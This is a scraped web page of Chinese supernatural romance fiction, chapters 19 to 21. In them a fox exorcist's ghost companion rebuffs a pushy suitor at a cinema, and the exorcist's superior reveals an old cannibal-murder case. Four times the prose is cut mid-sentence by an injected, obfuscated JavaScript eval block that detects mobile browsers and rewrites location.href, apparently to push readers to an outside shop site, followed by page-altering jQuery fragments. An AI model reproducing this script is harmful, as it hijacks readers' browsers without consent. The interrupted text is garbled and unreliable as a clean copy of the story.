林疏：“……”影厅马上就要亮灯了你们这是在做什么啊！！！ 小情侣亲得难解难分，后面的姬悬月学得如痴如醉。 林疏马上握紧姬悬月的手：“喂你看什么？非礼勿视不知道吗？” 姬悬月惊奇道：“现在的人可以在大庭广众之下这样！” “……”林疏，“只能这样了！你还想干点别的吗！” 可能是他的无声咆哮过于感人，姬悬月总算收回了视线，双眼含笑看着他：“你当我是傻的吗？” 林疏：“……”主要你这个智商忽高忽低……等等。 林疏又开始觉得自己被姬悬月骗了。 电影散场后，林疏牵着姬悬月……的缚灵索去上厕所。 影院的卫生间排队排了好长，姬悬月耐心陪着他等——这次林疏学乖了，给姬悬月戴上了口罩。 两人终于排进卫生间，林疏上好厕所，姬悬月就在门口等。 然后两人并肩出来。 丝毫不知道后面一直有人拿着赛博墓碑在偷偷拍照。 “忠犬美人攻再现江湖，好的我知道公共厕所门口拍照不礼貌，可是一米九的忠犬站在门口等小受出来……这cp真的很好吃！” 林疏一路领着姬悬月往家走，路上不断地给他科普这个时代。 他快怕死了穆迎秋了，如果穆迎秋再问一些姬悬月答不上来的东西，迟早是要穿帮！ 林疏恨不得在一夜之间将所有常识都塞进姬悬月脑子里。 于是照片里的两个人就是这样子，一米九的大美人侧着头，温柔地看着一米八的小美人在他耳边嘁嘁喳喳一路说着话。 试问，谁不为这样的绝美爱情落泪呢（雾） 到家后，林疏狂奔去喝水。 姬悬月在他身后道：“你就这么怕我被他发现是个鬼吗？” 林疏猛灌了一杯水，听了这话本能道：“当然怕了，你是我收容的鬼，如果你的身份被拆穿，等于传播封建迷信，我是要受罚的。” “哦，好吧。”姬悬月点头道，“我知道了。我本来还想着，让他知道一点，就可以据他的反应，来猜测他拿那烛台到底意欲何为。” 林疏听了却是一愣，他的确没想到过这一方面。 主要是灵调局保密工作必须一丝不漏，否则就是大大的失职，保密已经成了他的本能。 姬悬月说的未必没有道理，但林疏是不可能用这个方法的，至少现在不能。 “还是算了，”林疏想来想去道，“保密工作很重要，不到万不得已，我不建议你用这个方法，如果你真的用了，我会亲自去抹掉穆迎秋的记忆，而且后果很严重，你我都要受罚。” 姬悬月说：“好。” 林疏还想说点什么，而姬悬月已经转移话题道：“说起来，今天电影里的诗我都学过，电影的主角我也很喜欢。” 林疏只好道：“嗯，都是些必读必背的诗篇，我小时候也学过。穆迎秋不是也喜欢李白？所以才会约你看这个电影。” 姬悬月道：“你觉得他有多喜欢李白？” 林疏怔住：“这种问题很个人吧？” 姬悬月问：“你最喜欢李白的哪首诗？” 林疏挠挠头：“那也太多了，李白的诗谁不喜欢？李白的诗哪里有不好的呢？” 姬悬月道：“就说《行路难》其一，你最喜欢里面哪一句？” 林疏脱口而出：“那自然是……长风破浪会有时，直挂云帆济沧海。” 姬悬月：“你还记得穆迎秋说的最喜欢的一句吗？” 林疏愣住，开始回想。 那他穆迎秋说的是……欲渡黄河冰塞川，将登太行雪满山。 这句诗是非常典型的比兴：想渡过黄河，坚冰堵塞大川；想登太行山，大雪遍布高山。 诗人是借此来表达他英雄失路的悲愤。 有什么问题？ 林疏细细思忖，倒是逐渐明白过来。 《行路难》其一作为经典必背，是传唱度非常高的一首诗歌，但林疏确实很少听到人说最喜欢这两句。 一旁的姬悬月道：“他要么是不通中文，胡说的。要么就是心内压抑无比，和李白写这首诗时候的愤懑产生了共鸣。” 姬悬月慢慢走向床边，去看外头的月亮：“你觉得，他会是因为什么，而满心抑郁和怨愤呢？” 林疏叹了口气，道：“那谁能知道。” 姬悬月微微一笑：“明天就能知道了。” 林疏：“哎？你要去套他的话？” 姬悬月点点头：“不然，我费心劳力去跟他虚与委蛇，也太没价值了。” 林疏：“……”人家请你去约会，你跟人家去演戏。 真是无情啊！无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883367|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情！ 但话说回来，姬悬月对这些诗词歌赋了解得如此深入，怎么看也不像穷人家的孩子。 至少也得是个大族公子。 鹤城的大族历史中，应该能留下些痕迹才对。 明天该让小纪帮他查一下。 …… 次日，林疏拎着玻璃水杯，抱着一盒糕点钻进了档案室，与小纪叽叽咕咕说了一会儿小话，才回到了办公室。 结果班上了一半，林疏收到穆迎秋发来的电影场次，眼球瞬间凸起。 环球智能动态影城？！就看个动画片？？？ 他去不了了，他去不起啊！！！门票都要四位数！！！ 姬悬月倒是很淡定，他让林疏把电话给他。 林疏战战兢兢递给姬悬月，姬悬月借着他的灵力短暂凝聚了一下实体，发了条语音消息过去：“我找不到这个地方，你把票换成xx影院吧。” 林疏：“……” 过了会儿，穆迎秋回复道：“没关系，我可以来接你。你说的影院人太多了，动态影城的环境会好一点。” 姬悬月：“不了，我只想简简单单看个电影。” 穆迎秋：“那这样吧，我在动态影城的一楼选一个普通的影厅，主要这里人会少一点，我怕人多了观影感受不好。” 姬悬月看向林疏，林疏刷了一下，动态影城一楼的普通影厅门票打折……至少林疏负担得起。于是他点点头。 姬悬月给穆迎秋回复道：“可以。” 林疏松了口气，同时在内心爆炸哭泣，照这么消费下去，师娘给他的八千块几天就要见底了！！！ 林疏下班后，一狐一鬼打扮妥当，林疏贴上路人甲符咒，与姬悬月一同去了鹤城中心区域的知名网红建筑——动态影城。 林疏来到这座城市后，还没进过这个影城。 这里的消费实在太高了，他一月工资丢进这里头也就听个响，他不配。 姬悬月倒是很淡定，一副见怪不怪的样子。 林疏就发现他身上有一种难得的贵气——虽然姬悬月在林疏身边的时候，偶尔会像个十万个为什么，阿巴阿巴对什么都好奇，但是在重要场合他却从未露过怯。 就像喝咖啡那次，跟穆迎秋单独吃饭那次。他生前应该是个很有修养的人。 林疏挤在人群里，靠着缚灵索艰难地跟住了姬悬月。 而姬悬月打印了门票，按照头顶的指示牌来到了穆迎秋说的那个影厅。 他发现这里的人的确不多。 林疏取了票，鬼鬼祟祟跟在他身后约三米——缚灵索的距离。 走到位置后也尽量轻手轻脚坐下，尽可能不引起任何人的注意。他的座位正好在姬悬月他们身后。 穆迎秋和以往的每次一样早到了，他坐在座位上闭目养神，听到身边的座椅被放下的声音，他马上睁开眼，随即露出一个笑容：“阿羽，你来啦。” 姬悬月点点头，坐在他身边。 动态影城的座椅比他昨天去过的影院的座椅要宽敞很多，姬悬月坐下，双腿微微张开，手腕甚至可以放在膝盖上。 19. 第 19 章 穆迎秋凑过来一些，侧身在他耳边道：“这里的环境会好很多。” 姬悬闻到一股有些呛鼻子的香味，他心下反感，但面上保持着平静，点了点头。 林疏在后面也闻到了这股若隐若现的香水味，是某知名品牌的香水“鸦|片”。 很难评的gay圈知名渣男香。 此时距离电影开场还有十多分钟，影厅里的人也逐渐多起来，那股香味很快被人流冲散。 动态影城的空调很足，林疏开始后悔自己只穿了七分裤。 但好在随着周围的人多起来，影厅的温度也升高了些。 他就听见前面的穆迎秋低声问姬悬月：“你很冷吗？手怎么这么冰。” 姬悬月：“我天生体温低。” 林疏：“？”你们在我看不见的角落里牵手手了吗？ 但看着姬悬月的脸色还挺自然的，他只得继续缩在后面，暗中观察。 当然——穆迎秋其实并没有去牵姬悬月的手。 他只是在把准备好的爆米花递过去的时候，趁着姬悬月拒绝，刻意摸了一下姬悬月的手指。 然后摸到一把非常彻骨的冰凉。 影厅里温度很低，凉一些倒也正常。穆迎秋便没有多想，而是继续低声和姬悬月交谈：“昨天是首映日，我特意在网上看了很多影评，大家都说这个电影很好看。” 姬悬月点头：“我也提前了解过，这个电影很有内涵。” 林疏心想，自己这件事好像确实做得不太地道，人家约会看电影，他带姬悬月提前看一遍。 什么惊喜和震撼都提前透支完了，对穆迎秋也太不公平。 可是没办法，同期上映的电影要么是爱情片，要么是现代的剧情片。 林疏拿着手机挨个问过姬悬月，姬悬月都没什么兴趣。 最后只好看了这个。 电影很快开场了，昨天看过一遍的剧情再次娓娓道来，林疏突然觉得，二刷也很香。 但他前面的姬悬月觉得情况开始不对劲。 他本来就看过一遍这个电影，所以注意力并没有完全放在荧幕上。 于是很轻易就感觉到，明明是宽敞的座椅，穆迎秋却逐渐在向自己贴近。 姬悬月本来是打算一边看电影，一边借机探寻穆迎秋的内心。 但他已经察觉到，穆迎秋其实对这个电影并没有兴趣。 穆迎秋的兴趣在他身上。 姬悬月不动声色观察着身边人的动向，突然抑制不住地想起了昨天的林疏。 同样是在电影院，看着同样一部电影，林疏的全部注意力都在荧幕上。 跟着片中的人物一起笑，一起哭，一起被李白的诗篇震撼。 那副专注的样子，竟比电影本身，更能吸引姬悬月的视线。 也是林疏丰沛的情感，引着姬悬月对那影片的剧情认了真。 再看看身边的穆迎秋，姬悬月的心中一片平静。 穆迎秋的大腿已经贴上了姬悬月的大腿，他察觉到姬悬月没什么反应，便缓缓抬手。 掌心慢慢地，落在了姬悬月的手腕上。 他先是被冰得缩了一下，然后又不屈不挠覆盖上来。 这次直接不容拒绝地去握姬悬月的手。 姬悬月心中冷嗤了一声，手背一翻，反客为主，指节冷而坚硬，将穆迎秋的手啪一下按在了座椅扶手上。 然后冷冰冰地松开了。 他倏地起身，对另一侧的人低声道：“抱歉，我去洗手间。” 后面的林疏：“？” 林疏教的东西，姬悬月学得很好，他尽量压低了身子不影响后面的人观影，迅速而无声地离开了影厅。 而林疏被缚灵索扯着也站了起来，紧跟着他出去了。 幸好这排座椅的人都没坐满，林疏努力弓着身子跑，好让自己不那么显眼。 穆迎秋也愣住了，马上起身要追过去。 却不小心踩到了别人的鞋子，赶紧道歉。 但这样一来，他就没能在第一时间看到姬悬月去哪儿了。 姬悬月离开影厅后沉默着走向了卫生间。 林疏一路小跑跟在他后面，胆战心惊地朝后看，没看到穆迎秋，才大着胆子走到姬悬月身边：“怎么了？” 姬悬月扭头看看一脸茫然的小天师，轻轻笑了一声：“没事，出来透透气。” 虽然各个影厅是错峰播放，但此时外面没什么人。 林疏跟着他走到卫生间，尚摸不着头脑：“你来厕所透气？这里又没有人。” 姬悬月却在卫生间门口转身，将食指竖起在唇边，轻轻嘘了一声。 林疏一怔，就看到姬悬月的眼皮抬起，目光已经落在了他身后。 他马上知道穆迎秋应该是追过来了，赶紧绕过姬悬月走进卫生间，迅速选了个离门口最近的坑位进去了，并把门关上。 来人的确是穆迎秋，他虽然被绊住脚步，但到底是追了出来。 姬悬月一米九的身高和飒爽的马尾在空无一人的等候区非常显眼，他一眼就看见姬悬月在卫生间门口——并已经进去了。 他赶紧追过去，才走进卫生间的门，就看见姬悬月抱着臂站在里头，正目不斜视盯着他。 穆迎秋马上知道，他是在等自己。 “阿羽，你怎么跑出来了？”穆迎秋换上柔和的笑容，眼尾都眨出一个笑意弯弯的弧度，“是刚才我碰你的手，你不开心吗？” “答应你出来看电影，是因为咖啡厅那天就约好了。”姬悬月道，“虽然林疏没来，但在我心里，这是一场朋友之间的约会。” 穆迎秋道：“没错呀，就是朋友之间。你跟我，不算是朋友吗？” 姬悬月唇角一勾：“不然呢？” 穆迎秋的笑容一僵。 姬悬月道：“我说过，我对待感情比较认真，如果你有和我发展其他关系的意思，我希望你能遵循一个按部就班的顺序。” “顺序？”穆迎秋笑了一声，像是有些无奈，又有种被人牵着鼻子走的不爽。 所以突然欺身上前——穆迎秋的速度很快，在姬悬月面露意外的瞬间，他的手已经朝着姬悬月的脖子伸了过去。 他眸中满满的都是欲|望：“按顺序来这很简单。我可以现在就表白，然后吻你。” 但他想掐住姬悬月脖子、垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883368|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻他的动作，还没开始读条，就被打断了。 他甚至不知道自己经历了什么，在下一秒，他伸出的手已经被别在身后，肩膀剧痛，给一只铁钳一样的手顶住。 并且整张脸贴在了卫生间墙壁的冰凉瓷砖上。 “嘶……”穆迎秋闷哼一声。 姬悬月道：“我记得我说过，不喜欢别人随便碰我。” 穆迎秋背对着姬悬月，看不到他的表情，但他本能地继续挑逗：“阿羽你太粗鲁了。不过没关系，我喜欢野的。” “但我不喜欢你。”姬悬月冷淡道。 穆迎秋从这短短五个字里，莫名感觉到一种杀气。 但一闪即逝。 是姬悬月努力压制了自己的暴躁——因为林疏就在旁边。 而穆迎秋后知后觉挣扎了一下，发现完全挣扎不动。 他便想起上次没有得到答案的问题：“……你是1？还是直男？” 姬悬月没有回答。 穆迎秋挣扎着道：“我不信你不喜欢男人。” 姬悬月道：“我的确是gay。” 穆迎秋努力别过脸来，用余光扫了姬悬月一眼，美人还是那么冷淡的一张脸，仿佛只用了很轻的力度就能让他无法反抗。 这却更激起了穆迎秋的挑战欲，他舔了舔嘴唇：“那你做我男朋友吧，你答应的话，今晚我们就做。” 姬悬月道：“我是1。” 穆迎秋顿了一下，他记得上次姬悬月不知道什么叫1和0。 但是1的话……穆迎秋考虑了一下两人悬殊的体力差，心念电转，知道今天自己大概是讨不到好处了。 遂苦笑了一下：“那我们撞型号了。你这么美的人做1……好吧，也有0很吃长发1这一款。” 姬悬月没全听懂他的话，但感觉到他身上对自己的那种志在必得已经散去，便没理由再钳制人家，遂松了手。 穆迎秋艰难地转回身来，掸了掸自己外套上的褶皱。 他用了很短的时间就把自己的表情整理得体面，然后盯着姬悬月笑：“你还真是又直接又冷淡，我猜过你是直男，猜过你是深柜的0，但唯独没想过你会是1。” 姬悬月道：“我刚知道这些词不久，也刚刚才知道，圈子里分1和0。” “林疏告诉你的吧？”穆迎秋笑盈盈道。 姬悬月不置可否。 隔间里的林疏听得胆战心惊。 穆迎秋道：“他喜欢你，对吗？所以把你掰弯，告诉你这些，他想让你当他的1，可是你进来圈子之前，真的了解这个圈子吗？” 林疏：“……”你给我上眼药，我记住你了！ 姬悬月却道：“我没必要了解，我心里已经有喜欢的人，也不会进入这个圈子。” 穆迎秋无话可说。 他叹了口气，朝姬悬月伸出手：“以后当朋友吧，这个圈子1很少，大家互相都很熟，像兄弟一样。你有什么不懂的也都可以问我。” 姬悬月跟他握了手，点头道：“好。” 林疏躲在隔间里又听了一会儿，听见穆迎秋走了。 而姬悬月扯了扯他们之间缠绕的缚灵索。 20. 第 20 章 林疏推门走出来，打量姬悬月一圈。 见他情绪还算冷静，林疏尴尬地笑了下：“你们这算是谈崩了吗？” 姬悬月却问道：“撞型号是什么意思？” 林疏道：“型号……就是1和0啊，你们的型号都是1，就是撞型号了。型号不同是没办法谈恋爱的。” 姬悬月道：“你跟我也撞型号吗？” 林疏脱口而出：“你跟我不撞。” 姬悬月于是点头：“你是0。” “……”林疏顿时恨不得给自己一嘴巴。让你嘴欠！什么都回答！ 姬悬月就倚着门框笑。 笑完了，他朝外面看了一眼，道：“有一场正要结束了，趁着人还不算多，我们快走。” 林疏被他拉着迅速离开了动态影城。 路上林疏后知后觉开始心疼自己三位数买的门票和电影票，居然就看了一小段片头就提前跑路了！ 他又问姬悬月到底因为什么突然离场？ 姬悬月道：“他摸我的手腕。” 林疏随口道：“你是冰清玉洁的大姑娘家吗？摸一下那么大反应。” 姬悬月扭头看他：“你不是我，你感觉不到。他全程注意力都没有放在电影上，每分每秒，都在考虑怎么靠近我。只可惜了那么好的电影。” 林疏啊了一声，低头想象了一下。如果自己是个1，却被另一个1觊觎着，用带有那方面意味的触碰进行骚扰…… 好吧，林疏检讨，他捋平身上竖起的汗毛，真心实意道：“不好意思，代入了一下，已经要yue了。” 姬悬月没说什么，嘴角却扬起来。 回到家后，林疏破天荒没有先冲进去洗澡，而是带着姬悬月进了卫生间，告诉他：“觉得被碰了很不舒服，你可以洗洗手。” 姬悬月还没学过室内卫生间的用法，林疏便抓过他的双手放在水龙头下一点点教他。 “这样扭一下，水龙头就会出水。扭这边是热水，然后这是洗手液，消毒杀菌的。”林疏边做边讲解。 洗手液的泡沫轻柔绵密，他低着头，认真给姬悬月细细搓了手腕和掌心。 连指根都搓洗得香滑干净，然后打开水龙头冲掉泡沫。 姬悬月就低着头默默地看着，看林疏帮他洗干净双手，又用柔软的毛巾包住。 林疏抬头道：“这样就没有讨厌的人的味道了。” 姬悬月看着林疏在浴室暖光下显得柔和许多的眉眼，他仿佛听见自己死去多年的心脏中，开始有滚烫的血液汩汩流动的声音。 林疏疑惑：“你看什么？” 姬悬月眨了下眼睛，慢慢道：“穆迎秋……身上的味道很冲鼻子，他是不是很久没洗澡了？” 林疏噗嗤一声笑了：“他应该是为了见你，或者说钓你，故意喷了香水。是一款比较有名的男香，据说很多0闻到那个味道会直接发|情。” 姬悬月的眉毛微微扬起道：“0会对那种味道发|情？” 林疏摇摇头：“我不太懂，反正我对那个味道没兴趣。” 姬悬月认真道：“你也会喷香水吗？” 林疏道：“当然不会，我不喜欢喷香水。狐狸对气味很敏感的，香水只会让我头晕。” 姬悬月心想，那为什么小狐狸身上会有甜甜的花果香气？ 是他天生的味道吗？ 姬悬月却很喜欢林疏身上的味道。 给姬悬月洗完了手，林疏礼貌地将他推出卫生间，然后唰的一下拉上了门：“我要洗澡了，你随意。” 姬悬月说了声好，然后走到沙发边换衣服。 林疏出来后，就见他又是一身破洞新娘装，安安静静坐在沙发上。 林疏没有直接去跟他说话，而是自顾自先去吹头发，一边吹一边想着措辞。 头发吹干了，话题也想好了，林疏走到姬悬月身边坐下：“今天本来的目的是套话，但我看着穆迎秋这人实在过分，以后你就不要再理他了。你也不要想那么多……” 姬悬月偏过头看他：“穆迎秋这个人，嘴里没有实话。” 林疏一愣：“你又知道？” 姬悬月摇头：“猜的。” 林疏道：“没关系，他暂时威胁不到你。不管那个烛台有什么用，只要你在我身边，没有人能动你。” 姬悬月顿时眉眼弯弯，露出一个惑人笑意：“天狐大人是要罩着我吗？” 林疏却认真道：“穆迎秋是我让你去见的，有什么事，我自然要替你兜着。” 不管那个姓穆的到底想做什么，林疏都并不畏惧，只要他活着一天，就没人能算计姬悬月。 至于穆家人背后的阴谋诡计，对上灵调局这铜墙铁壁，也只有认栽。 狠话放了没几句，小狐狸开始犯困。他揉掉眼角打哈欠时溢出的眼泪，道：“总之……你莫慌，我一定……啊，好困，先睡了。” 姬悬月：“……” 林疏迷迷糊糊拱上床，很快就睡着了，连手机落在茶几上嗡嗡响，都没来得及去看。 姬悬月走到嗡嗡作响的“赛博墓碑”边，好奇地低头看。 林疏的手机密码是四个连续的数字，姬悬月早就知道是什么。 他三两下解开了手机锁，点进那个嗡嗡响的绿色图标。 穆迎秋：“林疏，恭喜你得偿所愿。今天我听穆羽说，他有个喜欢的人。” 姬悬月看得莫名其妙，不知道穆迎秋跟林疏说这个干什么。 穆迎秋又发来一条：“我猜那个人应该是你吧，你也很喜欢他，对吗？” 姬悬月想了想，笨拙地戳着屏幕，把“不喜欢”三个汉字打出来，点了发送。 穆迎秋：“？？？” 穆迎秋：“你不喜欢穆羽？” 姬悬月：“不喜欢。” 穆迎秋：“那你知道他喜欢的人是谁吗？” 姬悬月：“不知道，反正不是你。” 穆迎秋：“……” 穆迎秋有点回过味来了：“你是穆羽对吗？你偷用小疏的手机。” 这下轮到姬悬月“……”了，他不知道穆迎秋是怎么发现的。 穆迎秋道：“咱们两个公平竞争吧，希望你能把这些聊天记录删了，不要让小疏看到。” 姬悬月不知道怎么删， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883369|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也觉得没必要删，就把手机又丢下了。 第二天早上，林疏迷迷糊糊洗脸刷牙，就听见姬悬月在他身后道：“昨晚我用你的赛博墓碑和穆迎秋聊了几句，他说了好多莫名其妙的话。” 林疏：“？？？” 林疏赶紧叼着牙刷去拿手机，然后就看到了那段令人啼笑皆非的聊天记录。 “他是什么男绿茶啊！”林疏感慨，“来来来，给你看看教科书级别的渣男！” 姬悬月凑过来：“何解？” 林疏一条一条扒拉聊天记录：“他先是来告诉我你有喜欢的人了，其实是来试探咱俩是什么关系。如果你喜欢的人不是我，我看了这样的小报告肯定会去问你，然后被你拒绝，咱俩的革命友谊就一拍两散了。” 姬悬月：“为什么会一拍两散？” 林疏道：“你该不会还以为咱俩的关系在穆迎秋眼中是清清白白天地可鉴的吧？” 姬悬月摸摸鼻子不说话了。 林疏继续道：“我当时没回复他，他就开始了下一轮试探，这次试探我喜不喜欢你，他可能没想过我会否认，呃……你会替我否认，所以他傻眼了。” 姬悬月点头：“我预判了他的预判。” 林疏：“……你学现代词学得很快。” 姬悬月得意点头：“嗯。” 林疏继续扒拉手机，看着看着又狐疑道：“话说……你为什么回他‘不喜欢’？你怎么知道我不喜欢？” 姬悬月：“那你喜欢吗？” 林疏：“？” 林疏头顶一团黑线：“算了算了，还是继续看。你瞧，他发现是你之后的那句话，要跟你公平竞争，这是在竞争什么？他把我当什么？？？” 姬悬月道：“当成奖杯？” 林疏恨铁不成钢道：“结合语境，昨晚都那么晚了你还在用我的手机，分明咱们两个的距离非常非常近，你就差直接说咱俩睡一张床了，结果他说要跟你公平竞争，他在竞争什么啊！！！” 姬悬月笑着问道：“竞争你呀。” 林疏道：“你还笑！他是要当着你面约我了！” 姬悬月道：“可是我们两个并不是那种关系，他如果想约你，你当然可以去。” 林疏冷笑：“就算我是gay，我也挑人的好吗？穆迎秋明明知道我们关系不一般，还想约我，证明他道德败坏！知三当三！” 然后他当着姬悬月的面，给穆迎秋回了一句：“抱歉，我没有脚踩几条船的爱好。” 姬悬月在一旁云淡风轻地“哦”了一声，心里却很高兴。 他的高兴从眼角眉梢溢出来，藏也藏不住，在林疏弯腰穿道袍的时候，他无意中在镜子里看见了自己的脸，有些错愕。 他好像从来没见过自己这么高兴的时候。 而林疏一无所觉，他将手机踹进道袍的袖子，又将姬悬月装进玻璃杯，匆匆出门去上班。 灵调局人来人往，林疏匆匆而过，手中玻璃杯和钥匙碰撞着丁零当啷的响声。 这里的空调开得非常足，他到办公桌坐下不足五分钟，身上的汗就消下去了，开始处理一大早移交过来的案子。 21. 第 21 章 这时候，灵协办的一名小科员匆匆路过林疏的办公室，朝门里喊了一声：“林疏，林主任找你。” 林疏头也不抬，应了一声：“这就去。” 他手底下是一个难得需要出外勤的案子，说鹤城勤山区黎洲路有户人家，去世不满一年的老太太最近频繁回家探望子孙后代，给他们托梦，还在梦里一直哭。 儿女们不知道怎么办才好，也请过天师和神婆，都没什么用处。 只是做梦其实也没什么，可最近老太太开始给曾孙托梦了，孩子梦游乱走，他们十分害怕，以为有人贩子拍花子，所以报警。 警察去了之后发现孩子嘴里说“拐走”他们的人，是已经过世多年的老太太。 于是这个案子被移交灵调局了。 林疏将这个案卷放到待办行列，然后小声对玻璃杯里的姬悬月道：“我师娘找我，我很快回来。今天下午出外勤，带你出去玩。” 姬悬月点点头，示意知道了。 林疏把道袍穿得端端正正，出门右转，朝着灵协办的方向去了。 灵异案件协助调查办公室，是灵调局最重要的部门。 灵调局可以没有顾局长，但是不能没有办公室主任林聆。 当年灵调局的组建，全靠顾煜城这个凡人，他为灵调局排除艰难万险，才让灵调局从一个小小的部门，发展成今天的规模。 但灵调局这群员工，却是林聆这只八面玲珑的天狐一点一点聚集起来的。 局里所有在职的活佛、天师、神兽、仙人，都是心甘情愿为林聆而聚集在凡间，一边受人香火，一边为民除害。 林疏自己是非常崇拜林聆的。 推开办公室的玻璃门，林疏微笑着道：“林主任您找我？” 在工作岗位上，他们就没有师徒关系了，只是同事和上下级。 林聆抬起眼皮看了看他，手下动作不停，飞快写完了一份材料，并盖了章。 林疏就在一旁礼貌地等。 林聆起身，拧拧脖子活动了一下颈椎，看向林疏：“你那只血孽厉鬼呢？” 林疏：“……” 林聆很轻地笑了一声：“你该不会真以为，一只血孽的味道我都闻不出来吧？” 林疏的心不断下沉，他赶紧道：“姬悬月不是大奸大恶之徒，他……” “血孽厉鬼，就没有良善之辈。”林聆直接打断了他，“你真以为你那破破烂烂的葫芦能关得住他？一根缚灵索，栓得住厉鬼，拴不住孽障，如果他为祸人间，你万死难辞其咎。” 林疏认真道：“姬悬月只作乱了那么一次，而后数百年都未出现过，并没有为祸人间！而且我猜测他是后天血孽，我已经在追查血孽形成背后的线索了。” “好，”林聆摘下眼镜走近他，直视他的双眼，“那你告诉我，你是打算用你的命来为他作保？” “是，”林疏与林聆双眼对视，不闪不避，“我用命给他作保。” 林聆骤然掐住了他的脖子，毫不手软地举高。 林疏一下子被举到了脚不能沾地的高度，脸迅速涨红了：“师……娘……” “我没有你这样眼盲心软的徒弟。”林聆冷冷道。 办公室的玻璃门猛然被撞开，一身红衣的姬悬月张开漆黑指甲，双眼通红闯了进来：“你放开他！” 林聆眸光一闪，另一只手直接掐住了作乱鬼新娘的脖子，将他也举了起来。 窗外顿时电闪雷鸣，是林聆以灵力引雷，准备直接劈死这只血孽。 姬悬月已经感受到林聆的杀气，他艰难地扭头去看林疏，目光落在林疏涨红的脸上。 蓦地，他放下了双手，脸上的青黑怨气也散尽了。他对林聆道：“你杀了我吧，只要你放了林疏，你现在就可以杀了我。” 说完，他闭上了眼睛，引颈就戮。 林疏的脸已经憋得通红，闻言把着林聆的手大力挣扎起来：“师娘你不能……姬悬月他……不是坏……” 林聆的目光冷冽，他看了看全不反抗的姬悬月，又看了看奋力挣扎以致颈部大片淤伤的林疏，突然松了手。 林疏和姬悬月一起跌坐在地上。 窗外的乌云雷电迅速散去，林聆已经回到办公桌前坐下，将无框眼睛戴回了鼻梁上。 林疏挣扎着爬起来，将姬悬月挡在身后：“师娘，咳咳……我真的没有骗你，他……” “先过来，看看这个。”林聆抬手，递给林疏一份案卷。 林疏狐疑上前，咳嗽着，迅速接过了林聆手中的档案袋。 打开后，里面是边缘已经泛黄的一份秘密案卷，上面标注的时间，竟是种花民国。 林疏本能地阅读起来。 林聆在一旁倒了杯茶，道：“你知道九龙千年柱吗？” 林疏读到一半，抬头看他，点了点头。 九龙千年柱是鹤城郊区一处不很出名的文化遗产，有很多年历史。 当然，现在那里已经成个乡村文化广场了—— 八根半的雕龙石柱，据说镇压着什么邪祟。如今……周围摆着一些健身器材，铺上了广场石砖。 林疏来到鹤城时还专门去看过，没看出什么端倪。 倒是觉得那个村里的村民们很幸福，比别的村多九根石柱晒被子。 案卷跟它有什么关系？ 身后的姬悬月也已经捂着脖子站起来，走到了林疏身边，又被林疏下意识朝身后推了推。 他便仗着自己个子高，在林疏后面偷偷看。 “姬悬月，你也可以看。”林聆喝了口茶道。 姬悬月茫然。 林疏赶紧扯扯他的衣服：“你也可以看。哦对，你还不知道吧，你不叫穆羽，你叫姬悬月。” 姬悬月：“？？？” 但眼下似乎没办法细问，姬悬月只好低头去看案卷。 林疏手中的卷宗，写着民国时期的鹤城，曾经有一桩涉及灵异的旧案。 案卷中写着，民国十六年春，四月一日始，鹤城曾经在连续五天内，每隔一日，死一人。 受害者死状凄惨，像是被什么兽类啃噬而亡，但伤口处的齿痕，是灵长类动物的牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883370|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齿。 准确来说——是人。 一旁的林聆道：“这是一个被称为‘鹤城食人魔’的旧案，凶手一直未能归案。堆积到今天，却又不足以让我和你师父出手，我倒觉得很适合你来办。” 林疏匆匆看完，抬头问道：“这跟鹤城的九龙千年柱有什么关系？” 林聆道：“你听说过‘四煞千年柱’这个风水局吗？” 林疏点点头：“知道，师父给我讲过。” 林聆道：“四煞都是哪四煞？” 林疏皱眉道：“不就是妖魔鬼怪？” 林聆道：“其中也有细分，诸如作恶妖、吸魂魔之类的。而这个案子里的凶手，就是其中的‘食人魔’。” 林疏一震：“有人要拿这个食人魔做‘四煞千年柱’的风水局？” 林聆摇头：“尚不可知，但食人魔一天不归案，这个风水局就有可能被做成。” 